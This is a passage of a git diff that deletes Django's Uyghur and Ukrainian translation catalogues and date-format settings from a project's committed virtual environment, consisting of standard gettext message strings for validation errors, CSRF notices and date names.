"ئ‍ىيۇن" - -msgid "jul" -msgstr "ئىيۇل" - -msgid "aug" -msgstr "ئاۋ" - -msgid "sep" -msgstr "سېن" - -msgid "oct" -msgstr "ئۆك" - -msgid "nov" -msgstr "نوي" - -msgid "dec" -msgstr "دىك" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "يانۋار" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "فېۋرال" - -msgctxt "abbrev. month" -msgid "March" -msgstr "مارت" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ئاپرىل" - -msgctxt "abbrev. month" -msgid "May" -msgstr "ماي" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ئىيۇن" - -msgctxt "abbrev. month" -msgid "July" -msgstr "ئىيۇل" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ئاۋغۇست" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "سېنتەبىر" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ئۆكتەبىر" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "نويابىر" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "دىكابىر" - -msgctxt "alt. month" -msgid "January" -msgstr "يانۋار" - -msgctxt "alt. month" -msgid "February" -msgstr "فېۋرال" - -msgctxt "alt. month" -msgid "March" -msgstr "مارت" - -msgctxt "alt. month" -msgid "April" -msgstr "ئاپرىل" - -msgctxt "alt. month" -msgid "May" -msgstr "ماي" - -msgctxt "alt. month" -msgid "June" -msgstr "ئىيۇن" - -msgctxt "alt. month" -msgid "July" -msgstr "ئىيۇل" - -msgctxt "alt. month" -msgid "August" -msgstr "ئاۋغۇست" - -msgctxt "alt. month" -msgid "September" -msgstr "سىنتەبىر" - -msgctxt "alt. month" -msgid "October" -msgstr "ئۆكتەبىر" - -msgctxt "alt. month" -msgid "November" -msgstr "نويابىر" - -msgctxt "alt. month" -msgid "December" -msgstr "دىكابىر" - -msgid "This is not a valid IPv6 address." -msgstr "بۇ ئىناۋەتلىك IPv6 ئادرېس ئەمەس." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ياكى" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "،" - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d يىل" -msgstr[1] "%(num)d يىل" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d ئاي" -msgstr[1] "%(num)d ئاي" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d ھەپتە" -msgstr[1] "%(num)d ھەپتە" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d كۈن" -msgstr[1] "%(num)d كۈن" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d سائەت" -msgstr[1] "%(num)d سائەت" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d مىنۇت" -msgstr[1] "%(num)d مىنۇت" - -msgid "Forbidden" -msgstr "چەكلەنگەن" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF دەلىللەش مەغلۇپ بولدى. تەلەپ ئەمەلدىن قالدۇرۇلدى." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"چۈنكى بۇ HTTPS تور بېكىتى توركۆرگۈڭىز تەرىپىدىن پايدىلانما ئۇچۇرلىرىنى " -"ئەۋەتىشنى تەلەب قىلىدۇ، ئەمما ھېچقايسىسى ئەۋەتىلمىدى، شۇ سەۋەبتىن سىز بۇ " -"ئۇچۇرنى كۆرىۋاتىسىز.\n" -"بۇ ئۇچۇرلار سىزنىڭ بىخەتەرلىكڭىز ۋە تور كۆرگۈڭىزنىڭ ئۈچۈنجى شەخىس تەرىپىدىن " -"تۇتقۇن قىلىنىشىنىڭ ئالدىنى ئېلىش ئۈچۈندۇر. " - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"ئەگەر سىز توركۆرگۈچىڭىزنى “Referer” بېكەت سېكىرتكۈچىنى چەكلەپ تەڭشىسىڭىز، بۇ " -"تور بېكەت، ياكى HTTPS ئۇلىنىشى، ياكى “ئوخشاش-مەنبە” ئىلتىماسلىرى ئۈچۈن ئۇنى " -"قايتا ئىچىپ قويۇڭ." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"ئەگەر سىز تەگىنى ياكى " -"“Referrer-Policy: no-referrer” بېكەت سېكىرتكۈچىنى ئىشلىتىۋاتىسىز، ئۇلارنى " -"ئۆچۈرۈڭ. CSRF قوغداش تەلەپ قىلىدۇ “Referer” بېكەت سېكىرتكۈچى قاتتىق " -"سېكىرتىشنى ئېلىپ بېرىشى كېرەك. ئەگەر سىز شەخسىيەتىڭىزگە قاراشقا ئۆزىڭىزنى " -"ئۆزىڭىز قارغىلى بولسىڭىز، ئۈچىنچى تەرەپ تور بېكەتلىرىگە ئۇلىنىشلاردا قاتارلىق ئالتۇرناتىۋىلارنى ئىشلىتىڭ." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -" بۇ تور بېكەت جەدۋەل يوللىغاندا CSRF ساقلانمىسىنى تەلەپ قىلىدۇ. بۇ " -"ساقلانمىلار بىخەتەرلىكنى كۆزدە تۇتۇپ ، تور كۆرگۈچىڭىزنىڭ ئۈچىنچى تەرەپ " -"تەرىپىدىن ئوغرىلانماسلىقىغا كاپالەتلىك قىلىدۇ." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"ئەگەر توركۆرگۈڭىزنى ساقلانمىلارنى چەكلەش ئۈچۈن تەڭشىگەن بولسىڭىز ، ھېچ " -"بولمىغاندا بۇ تور بېكەت ياكى «ئوخشاش مەنبە» تەلەپلىرى ئۈچۈن ئۇلارنى قايتا " -"قوزغىتىڭ." - -msgid "More information is available with DEBUG=True." -msgstr "DEBUG = True بىلەن تېخىمۇ كۆپ ئۇچۇرلارغا ئېرىشكىلى بولىدۇ." - -msgid "No year specified" -msgstr "يىل بەلگىلەنمىدى" - -msgid "Date out of range" -msgstr "ۋاقىت چەكلىمىسىدىن ئېشىب كەتتى" - -msgid "No month specified" -msgstr "ئاي بەلگىلەنمىدى" - -msgid "No day specified" -msgstr "كۈن بەلگىلەنمىدى" - -msgid "No week specified" -msgstr "ھەپتە بەلگىلەنمىدى" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s يوق" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"كەلگۈسى %(verbose_name_plural)s ئىشلەتكىلى بولمايدۇ ، چۈنكى %(class_name)s." -"allow_future بولسا False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "ئىناۋەتسىز چېسلا تىزمىسى «%(datestr)s» بېرىلگەن فورمات «%(format)s»" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "بۇ سوئالغا ماس كېلىدىغان %(verbose_name)s تېپىلمىدى" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "بەت «ئاخىرقى» ئەمەس ،ياكى ئۇنى int غا ئايلاندۇرغىلى بولمىدى." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "ئىناۋەتسىز بەت (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "بوش تىزىملىك %(class_name)s ۋە «.allow_empty» بولسا False." - -msgid "Directory indexes are not allowed here." -msgstr "ھۆججەت مۇندەرىجىسى بۇ يەردە رۇخسەت قىلىنمايدۇ." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "%(path)s مەۋجۇت ئەمەس" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s نىڭ كۆرسەتكۈچىسى" - -msgid "The install worked successfully! Congratulations!" -msgstr "قاچىلاش مۇۋەپپەقىيەتلىك بولدى! مۇبارەك بولسۇن!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -" Django %(version)s ئۈچۈن ئېلان قىلىش " -"خاتىرىسى نى كۆرۈڭ" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"سىز بۇ بەتنى كۆرۈۋاتىسىز ، چۈنكى DEBUG = " -"True سىزنىڭ تەڭشەك ھۆججىتىڭىزدە ،شۇنداقلا ھېچقانداق URL تەڭشەلىمىگەن." - -msgid "Django Documentation" -msgstr " Django قوللانمىسى" - -msgid "Topics, references, & how-to’s" -msgstr "تېما ، پايدىلانما ، & amp; قانداق قىلىش " - -msgid "Tutorial: A Polling App" -msgstr "دەرسلىك: بىر بېلەت تاشلاش دىتالى" - -msgid "Get started with Django" -msgstr "Django بىلەن تونۇشۇش" - -msgid "Django Community" -msgstr "Django جەمىيىتى" - -msgid "Connect, get help, or contribute" -msgstr "قوشۇلۇش ، ياردەمگە ئېرىشىش ياكى تۆھپە قوشۇش" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ug/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ug/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ug/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ug/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 294c3260..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ug/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ug/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ug/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 521f3e07..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ug/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ug/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ug/formats.py deleted file mode 100644 index 92f01342..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ug/formats.py +++ /dev/null @@ -1,14 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "Y/m/d" -SHORT_DATETIME_FORMAT = "Y/m/d G:i" -FIRST_DAY_OF_WEEK = 1 -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/uk/LC_MESSAGES/django.mo deleted file mode 100644 index 26b4b596..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/uk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/uk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/uk/LC_MESSAGES/django.po deleted file mode 100644 index 74b4c9e6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/uk/LC_MESSAGES/django.po +++ /dev/null @@ -1,1386 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Oleksandr Chernihov , 2014 -# Boryslav Larin , 2011,2022 -# Denys Pidlisnyi , 2016 -# Igor Melnyk, 2014-2015,2017 -# Illia Volochii , 2019,2021-2023,2025 -# Jannis Leidel , 2011 -# Kirill Gagarski , 2014 -# Max V. Stotsky , 2014 -# Mikhail Kolesnik , 2015 -# Mykola Zamkovoi , 2014 -# Natalia, 2024 -# Alex Bolotov , 2013-2014 -# Roman Kozlovskyi , 2012 -# Sergiy Kuzmenko , 2011 -# tarasyyyk , 2018 -# tarasyyyk , 2019 -# Zoriana Zaiats, 2016-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Illia Volochii , " -"2019,2021-2023,2025\n" -"Language-Team: Ukrainian (http://app.transifex.com/django/django/language/" -"uk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: uk\n" -"Plural-Forms: nplurals=4; plural=(n % 1 == 0 && n % 10 == 1 && n % 100 != " -"11 ? 0 : n % 1 == 0 && n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % " -"100 > 14) ? 1 : n % 1 == 0 && (n % 10 ==0 || (n % 10 >=5 && n % 10 <=9) || " -"(n % 100 >=11 && n % 100 <=14 )) ? 2: 3);\n" - -msgid "Afrikaans" -msgstr "Африканська" - -msgid "Arabic" -msgstr "Арабська" - -msgid "Algerian Arabic" -msgstr "Алжирська арабська" - -msgid "Asturian" -msgstr "Астурійська" - -msgid "Azerbaijani" -msgstr "Азербайджанська" - -msgid "Bulgarian" -msgstr "Болгарська" - -msgid "Belarusian" -msgstr "Білоруська" - -msgid "Bengali" -msgstr "Бенгальська" - -msgid "Breton" -msgstr "Бретонська" - -msgid "Bosnian" -msgstr "Боснійська" - -msgid "Catalan" -msgstr "Каталонська" - -msgid "Central Kurdish (Sorani)" -msgstr "Центральнокурдська (сорані)" - -msgid "Czech" -msgstr "Чеська" - -msgid "Welsh" -msgstr "Валлійська" - -msgid "Danish" -msgstr "Датська" - -msgid "German" -msgstr "Німецька" - -msgid "Lower Sorbian" -msgstr "Нижньолужицька" - -msgid "Greek" -msgstr "Грецька" - -msgid "English" -msgstr "Англійська" - -msgid "Australian English" -msgstr "Австралійська англійська" - -msgid "British English" -msgstr "Англійська (Великобританія)" - -msgid "Esperanto" -msgstr "Есперанто" - -msgid "Spanish" -msgstr "Іспанська" - -msgid "Argentinian Spanish" -msgstr "Іспанська (Аргентина)" - -msgid "Colombian Spanish" -msgstr "Колумбійська іспанська" - -msgid "Mexican Spanish" -msgstr "Мексиканська іспанська" - -msgid "Nicaraguan Spanish" -msgstr "Нікарагуанська іспанська" - -msgid "Venezuelan Spanish" -msgstr "Венесуельська іспанська" - -msgid "Estonian" -msgstr "Естонська" - -msgid "Basque" -msgstr "Баскська" - -msgid "Persian" -msgstr "Перська" - -msgid "Finnish" -msgstr "Фінська" - -msgid "French" -msgstr "Французька" - -msgid "Frisian" -msgstr "Фризька" - -msgid "Irish" -msgstr "Ірландська" - -msgid "Scottish Gaelic" -msgstr "Шотландська ґельська" - -msgid "Galician" -msgstr "Галіційська" - -msgid "Hebrew" -msgstr "Іврит" - -msgid "Hindi" -msgstr "Хінді" - -msgid "Croatian" -msgstr "Хорватська" - -msgid "Upper Sorbian" -msgstr "Верхньолужицька" - -msgid "Hungarian" -msgstr "Угорська" - -msgid "Armenian" -msgstr "Вірменська" - -msgid "Interlingua" -msgstr "Інтерлінгва" - -msgid "Indonesian" -msgstr "Індонезійська" - -msgid "Igbo" -msgstr "Ігбо" - -msgid "Ido" -msgstr "Ідо" - -msgid "Icelandic" -msgstr "Ісландська" - -msgid "Italian" -msgstr "Італійська" - -msgid "Japanese" -msgstr "Японська" - -msgid "Georgian" -msgstr "Грузинська" - -msgid "Kabyle" -msgstr "Кабіли" - -msgid "Kazakh" -msgstr "Казахська" - -msgid "Khmer" -msgstr "Кхмерська" - -msgid "Kannada" -msgstr "Каннадська" - -msgid "Korean" -msgstr "Корейська" - -msgid "Kyrgyz" -msgstr "Киргизька" - -msgid "Luxembourgish" -msgstr "Люксембурзька" - -msgid "Lithuanian" -msgstr "Литовська" - -msgid "Latvian" -msgstr "Латвійська" - -msgid "Macedonian" -msgstr "Македонська" - -msgid "Malayalam" -msgstr "Малаялам" - -msgid "Mongolian" -msgstr "Монгольська" - -msgid "Marathi" -msgstr "Маратхі" - -msgid "Malay" -msgstr "Малайська" - -msgid "Burmese" -msgstr "Бірманська" - -msgid "Norwegian Bokmål" -msgstr "Норвезька (Букмол)" - -msgid "Nepali" -msgstr "Непальська" - -msgid "Dutch" -msgstr "Голландська" - -msgid "Norwegian Nynorsk" -msgstr "Норвезька (Нюнорськ)" - -msgid "Ossetic" -msgstr "Осетинська" - -msgid "Punjabi" -msgstr "Панджабі" - -msgid "Polish" -msgstr "Польська" - -msgid "Portuguese" -msgstr "Португальська" - -msgid "Brazilian Portuguese" -msgstr "Бразильська португальська" - -msgid "Romanian" -msgstr "Румунська" - -msgid "Russian" -msgstr "Російська" - -msgid "Slovak" -msgstr "Словацька" - -msgid "Slovenian" -msgstr "Словенська" - -msgid "Albanian" -msgstr "Албанська" - -msgid "Serbian" -msgstr "Сербська" - -msgid "Serbian Latin" -msgstr "Сербська (латинська)" - -msgid "Swedish" -msgstr "Шведська" - -msgid "Swahili" -msgstr "Суахілі" - -msgid "Tamil" -msgstr "Тамільська" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Tajik" -msgstr "Таджицька" - -msgid "Thai" -msgstr "Тайська" - -msgid "Turkmen" -msgstr "Туркменська" - -msgid "Turkish" -msgstr "Турецька" - -msgid "Tatar" -msgstr "Татарська" - -msgid "Udmurt" -msgstr "Удмуртська" - -msgid "Uyghur" -msgstr " Уйгурська" - -msgid "Ukrainian" -msgstr "Українська" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "Узбецька" - -msgid "Vietnamese" -msgstr "В'єтнамська" - -msgid "Simplified Chinese" -msgstr "Китайська спрощена" - -msgid "Traditional Chinese" -msgstr "Китайська традиційна" - -msgid "Messages" -msgstr "Повідомлення" - -msgid "Site Maps" -msgstr "Мапи сайту" - -msgid "Static Files" -msgstr "Статичні файли" - -msgid "Syndication" -msgstr "Об'єднання" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Номер сторінки не є цілим числом" - -msgid "That page number is less than 1" -msgstr "Номер сторінки менше 1" - -msgid "That page contains no results" -msgstr "Сторінка не містить результатів" - -msgid "Enter a valid value." -msgstr "Введіть коректне значення." - -msgid "Enter a valid domain name." -msgstr "Введіть правильне доменне ім'я." - -msgid "Enter a valid URL." -msgstr "Введіть коректний URL." - -msgid "Enter a valid integer." -msgstr "Введіть коректне ціле число." - -msgid "Enter a valid email address." -msgstr "Введіть коректну email адресу." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Введіть коректне значення 'slug' (короткого заголовку), що може містити " -"тільки літери, числа, символи підкреслювання або дефіси." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Введіть правильну %(protocol)s адресу." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 або IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Введіть тільки цифри, що розділені комами." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Переконайтеся, що це значення дорівнює %(limit_value)s (зараз " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Переконайтеся, що це значення менше чи дорівнює %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Переконайтеся, що це значення більше чи дорівнює %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Переконайтеся, що значення є кратним розміру кроку %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Переконайтеся, що значення є кратним розміру кроку %(limit_value)s, " -"починаючи з %(offset)s. Наприклад, %(offset)s, %(valid_value1)s, " -"%(valid_value2)s і т. д." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Переконайтеся, що це значення містить не менш ніж %(limit_value)d символ " -"(зараз %(show_value)d)." -msgstr[1] "" -"Переконайтеся, що це значення містить не менш ніж %(limit_value)d символів " -"(зараз %(show_value)d)." -msgstr[2] "" -"Переконайтеся, що це значення містить не менш ніж %(limit_value)d символів " -"(зараз %(show_value)d)." -msgstr[3] "" -"Переконайтеся, що це значення містить не менш ніж %(limit_value)d символів " -"(зараз %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Переконайтеся, що це значення містить не більше ніж %(limit_value)d символ " -"(зараз %(show_value)d)." -msgstr[1] "" -"Переконайтеся, що це значення містить не більше ніж %(limit_value)d символи " -"(зараз %(show_value)d)." -msgstr[2] "" -"Переконайтеся, що це значення містить не більше ніж %(limit_value)d символів " -"(зараз %(show_value)d)." -msgstr[3] "" -"Переконайтеся, що це значення містить не більше ніж %(limit_value)d символів " -"(зараз %(show_value)d)." - -msgid "Enter a number." -msgstr "Введіть число." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Переконайтеся, що загалом тут не більше ніж %(max)s цифра." -msgstr[1] "Переконайтеся, що загалом тут не більше ніж %(max)s цифер." -msgstr[2] "Переконайтеся, що загалом тут не більше ніж %(max)s цифер." -msgstr[3] "Переконайтеся, що загалом тут не більше ніж %(max)s цифер." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Переконайтеся, що тут не більше ніж %(max)s цифра після десяткової коми." -msgstr[1] "" -"Переконайтеся, що тут не більше ніж %(max)s цифри після десяткової коми." -msgstr[2] "" -"Переконайтеся, що тут не більше ніж %(max)s цифер після десяткової коми." -msgstr[3] "" -"Переконайтеся, що тут не більше ніж %(max)s цифер після десяткової коми." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Переконайтеся, що тут не більше ніж %(max)s цифра до десяткової коми." -msgstr[1] "" -"Переконайтеся, що тут не більше ніж %(max)s цифри до десяткової коми." -msgstr[2] "" -"Переконайтеся, що тут не більше ніж %(max)s цифер до десяткової коми." -msgstr[3] "" -"Переконайтеся, що тут не більше ніж %(max)s цифер до десяткової коми." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Розширення файлу '%(extension)s' не дозволено. Дозволені розширення: ' " -"%(allowed_extensions)s'." - -msgid "Null characters are not allowed." -msgstr "Символи Null не дозволені." - -msgid "and" -msgstr "та" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s з таким %(field_labels)s вже існує." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Порушено обмеження \"%(name)s\"." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Значення %(value)r не є дозволеним вибором." - -msgid "This field cannot be null." -msgstr "Це поле не може бути пустим." - -msgid "This field cannot be blank." -msgstr "Це поле не може бути порожнім." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s з таким %(field_label)s вже існує." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s повинне бути унікальним для %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Тип поля: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Значення \"%(value)s\" повинне бути True, False, або None." - -msgid "Boolean (Either True or False)" -msgstr "Булеве значення (True або False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Рядок (до %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Рядок (необмежений)" - -msgid "Comma-separated integers" -msgstr "Цілі, розділені комою" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Дата (без часу)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Значення \"%(value)s\" має невірний формат. Воно повинне бути у форматі YYYY-" -"MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Дата (з часом)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Десяткове число" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Тривалість" - -msgid "Email address" -msgstr "E-mail адреса" - -msgid "File path" -msgstr "Шлях до файла" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Число з плаваючою комою" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Ціле число" - -msgid "Big (8 byte) integer" -msgstr "Велике (8 байтів) ціле число" - -msgid "Small integer" -msgstr "Мале ціле число" - -msgid "IPv4 address" -msgstr "IPv4 адреса" - -msgid "IP address" -msgstr "IP адреса" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Булеве значення (включаючи True, False або None)" - -msgid "Positive big integer" -msgstr "Додатнє велике ціле число" - -msgid "Positive integer" -msgstr "Додатнє ціле число" - -msgid "Positive small integer" -msgstr "Додатнє мале ціле число" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (до %(max_length)s)" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Значення \"%(value)s\" має невірний формат. Воно повинне бути у форматі HH:" -"MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Час" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Необроблені двійкові дані" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” не є валідним UUID." - -msgid "Universally unique identifier" -msgstr "Універсальний унікальний ідентифікатор" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Зображення" - -msgid "A JSON object" -msgstr "JSON-об'єкт" - -msgid "Value must be valid JSON." -msgstr "Значення має бути коректним JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Зовнішній ключ (тип визначається відповідно поля)" - -msgid "One-to-one relationship" -msgstr "Один-до-одного" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s звязок" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s звязки" - -msgid "Many-to-many relationship" -msgstr "Багато-до-багатьох" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Це поле обов'язкове." - -msgid "Enter a whole number." -msgstr "Введіть ціле число." - -msgid "Enter a valid date." -msgstr "Введіть коректну дату." - -msgid "Enter a valid time." -msgstr "Введіть коректний час." - -msgid "Enter a valid date/time." -msgstr "Введіть коректну дату/час." - -msgid "Enter a valid duration." -msgstr "Введіть коректну тривалість." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Кількість днів повинна бути від {min_days} до {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Файл не надіслано. Перевірте тип кодування форми." - -msgid "No file was submitted." -msgstr "Файл не було надіслано." - -msgid "The submitted file is empty." -msgstr "Переданий файл порожній." - -#, 